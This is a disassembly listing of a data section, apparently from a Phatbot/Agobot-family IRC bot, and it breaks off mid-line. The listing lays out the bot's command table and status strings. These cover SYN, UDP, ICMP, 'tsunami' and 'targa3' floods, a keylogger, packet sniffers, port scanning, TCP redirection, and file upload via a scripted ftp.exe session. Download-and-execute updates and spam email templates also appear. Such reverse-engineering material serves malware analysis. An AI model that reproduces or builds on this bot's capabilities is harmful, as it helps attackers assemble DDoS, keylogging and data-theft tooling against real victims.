sub_401ACD+70D5o ; sub_401ACD+7C48o unk_42A428 db 2Dh ; - ; DATA XREF: sub_401ACD+70B0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Fo align 10h dword_42A450 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7074o dd 25203A29h, 73h dword_42A46C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7005o dd 203A2973h, 7325h dword_42A488 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FAAo dword_42A490 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F7Ao dd 203A2973h, 7325h dword_42A4AC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o dword_42A4B8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECFo ; sub_401ACD+6F58o ... dword_42A4C0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E96o dword_42A4C8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E85o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A504 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E16o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h unk_42A530 db 2Dh ; - ; DATA XREF: sub_401ACD+6D86o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Bo db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408746o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_42A5D4 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Eo dd 7325h dword_42A5EC dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408674o dword_42A600 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B63o ; sub_401ACD+6C15o ... dword_42A610 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D1o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A658 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AFAo aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A694 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Bo aDownloadingUpd db '- Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E3o align 4 dword_42A6CC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6981o dd 7325203Ah, 0 unk_42A6E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6976o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A70C db 2Dh ; - ; DATA XREF: sub_401ACD+68DCo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+6866o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A778 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Co ; sub_401ACD:loc_409367o unk_42A784 db 2Dh ; - ; DATA XREF: sub_401ACD+678Ao db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A7A8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408235o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42A7E0 db 2Dh ; - ; DATA XREF: sub_401ACD+675Eo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A818 db 2Dh ; - ; DATA XREF: sub_401ACD+66EEo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A844 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Bo aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 10h dword_42A880 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FCo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42A8B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6583o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A8E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6514o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A918 db 2Dh ; - ; DATA XREF: sub_401ACD+648Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A950 db 2Dh ; - ; DATA XREF: sub_401ACD+641Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A980 db 2Dh ; - ; DATA XREF: sub_401ACD+63A2o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A9B8 db 2Dh ; - ; DATA XREF: sub_401ACD+6333o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A9F4 db 2Dh ; - ; DATA XREF: sub_401ACD+62BAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42AA34 db 2Dh ; - ; DATA XREF: sub_401ACD+624Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42AA60 db 2Dh ; - ; DATA XREF: sub_401ACD+617Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42AAA4 db 2Dh ; - ; DATA XREF: sub_401ACD+610Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42AAE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6010o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F64o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E87o align 4 dword_42AB3C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF3o ; sub_401ACD+715Bo unk_42AB48 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42AB84 db 2Dh ; - ; DATA XREF: sub_401ACD+5D20o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42ABD4 db 2Dh ; - ; DATA XREF: sub_401ACD+5C89o ; sub_401ACD+607Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+5C1Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42AC74 db 2Dh ; - ; DATA XREF: sub_401ACD+5AA4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 4 unk_42ACA8 db 2Dh ; - ; DATA XREF: sub_401ACD+5A47o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42ACDC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F4o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AD0C db 2Dh ; - ; DATA XREF: sub_401ACD+5920o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5907o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58F0o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CDo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A9o ; ___:00411C62o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5898o align 4 unk_42AD7C db 2Dh ; - ; DATA XREF: sub_401ACD+584Eo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Bo align 4 unk_42ADA4 db 2Dh ; - ; DATA XREF: sub_401ACD+57F5o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42ADE4 db 2Dh ; - ; DATA XREF: sub_401ACD+5798o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AE1C db 2Dh ; - ; DATA XREF: sub_401ACD+572Do db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+567Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42AE98 db 2Dh ; - ; DATA XREF: sub_401ACD+5648o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42AECC db 2Dh ; - ; DATA XREF: sub_401ACD+5624o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42AF04 db 2Dh ; - ; DATA XREF: sub_401ACD+5582o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o align 4 unk_42AF58 db 2Dh ; - ; DATA XREF: sub_401ACD+5550o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42AF90 db 2Dh ; - ; DATA XREF: sub_401ACD+54E1o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42AFD8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406F00o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 10h unk_42B010 db 2Dh ; - ; DATA XREF: sub_401ACD+5429o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42B048 db 2Dh ; - ; DATA XREF: sub_401ACD+53AFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Fo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5398o unk_42B08C db 2Dh ; - ; DATA XREF: sub_401ACD+52FDo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52EDo align 10h aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D6o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+5260o align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Do unk_42B0D4 db 2Dh ; - ; DATA XREF: sub_401ACD+51FEo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+518Ao db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Fo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5088o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5071o align 4 aP: ; DATA XREF: sub_401ACD+505Ao ; ___:00438308o ... unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5043o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Co align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5015o align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFEo aU: ; DATA XREF: sub_401ACD+4FE7o ; ___:00438300o ... unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FD0o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB9o align 4 aAdv db 'adv',0 ; DATA XREF: sub_401ACD+4FA2o aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Bo aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F74o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Do align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F37o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F20o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F09o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF2o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDBo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC4o align 10h aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EADo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E96o align 10h aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Fo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E68o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E51o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E3Ao align 4 dword_42B214 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Do aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 10h dword_42B250 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBEo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Bo align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D24o ; sub_401ACD+52BEo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Do align 4 unk_42B298 db 2Dh ; - ; DATA XREF: sub_401ACD+4D00o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C29o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C12o ; sub_412B09:loc_412C35o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_412B09:loc_412C19o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE4o ; sub_412B09+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCDo ; ___:00438338o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB6o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Do align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B76o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Fo align 4 aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B48o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B31o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B1Ao align 4 aE: ; DATA XREF: sub_401ACD+4B03o ; ___:004382F0o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AECo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD5o align 4 aJpDe10 db 'jp]de10',0 ; DATA XREF: sub_401ACD+4ABEo aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA7o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A90o align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A79o align 10h aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A62o ; sub_401ACD+6BE8o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Bo aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A34o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Do align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A06o align 10h aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EFo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D8o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C1o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49AAo align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4993o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Co align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4965o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Eo align 10h aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4937o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+4920o align 4 aM: ; DATA XREF: sub_401ACD+4909o ; ___:00438348o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DBo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C4o align 4 aA: ; DATA XREF: sub_401ACD+48ADo ; ___:0043830Co unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4896o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4868o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4851o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+483Ao align 10h aKl db 'kl',0 ; DATA XREF: sub_401ACD+4823o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Co aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E3o align 10h aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CEo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B9o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A4o unk_42B424 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406266o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B440 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Fo ; sub_409B13+5F0o align 4 unk_42B46C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B48C db 2Dh ; - ; DATA XREF: sub_401ACD+4748o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B4AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406194o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B4CC db 2Dh ; - ; DATA XREF: sub_401ACD+46BDo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Fo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Bo align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4611o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F7o align 4 unk_42B514 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B534 db 2Dh ; - ; DATA XREF: sub_401ACD+45E0o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45AAo align 10h unk_42B560 db 2Dh ; - ; DATA XREF: sub_401ACD+4578o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4554o dword_42B59C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4549o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42B5D8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44DAo aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42B5FC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4458o aAlreadyRunning db '- Already running.',0 align 4 dword_42B61C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Fo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42B648 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4438o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F9o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D7o align 4 dword_42B694 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E99o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42B6B4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C2o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B6EC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4392o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B720 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4345o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B74C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4335o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4302o align 4 unk_42B774 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC4o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B7A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42EDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B7E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B820 db 2Dh ; - ; DATA XREF: sub_401ACD+424Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B850 db 2Dh ; - ; DATA XREF: sub_401ACD+41E7o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41B0o dword_42B878 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C72o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B8A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Bo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B8E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Bo aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B91C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FCo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B94C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4095o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4075o ; sub_401ACD+41C7o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Eo align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4049o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4034o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Fo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+400Ao aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF5o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FE0o aV: ; DATA XREF: sub_401ACD+3FCBo ; ___:0043833Co ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB6o align 4 aLi db 'li',0 ; DATA XREF: 